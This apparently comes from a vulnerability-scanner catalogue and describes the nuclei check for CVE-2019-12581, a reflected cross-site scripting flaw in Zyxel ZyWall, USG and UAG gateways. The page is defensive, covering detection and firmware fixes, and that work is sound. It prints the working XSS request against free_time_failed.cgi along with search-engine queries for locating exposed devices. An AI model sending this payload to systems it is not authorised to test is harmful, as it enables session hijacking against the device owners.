Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>
Positive when: contains "<script>alert(document.domain);</script>" and "Please contact with administrator." AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-12581 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12581

info:
  name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
  author: n-thumann
  severity: medium
  description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
  reference:
    - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
    - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12581
    - https://www.zyxel.com/us/en/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12581
    cwe-id: CWE-79
    epss-score: 0.064
    epss-percentile: 0.9373
    cpe: cpe:2.3:h:zyxel:uag2100:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: uag2100
    shodan-query: http.title:"ZyWall"
    fofa-query: title="zywall"
    google-query: intitle:"zywall"
  tags: cve,cve2019,zyxel,zywall,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "Please contact with administrator."
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from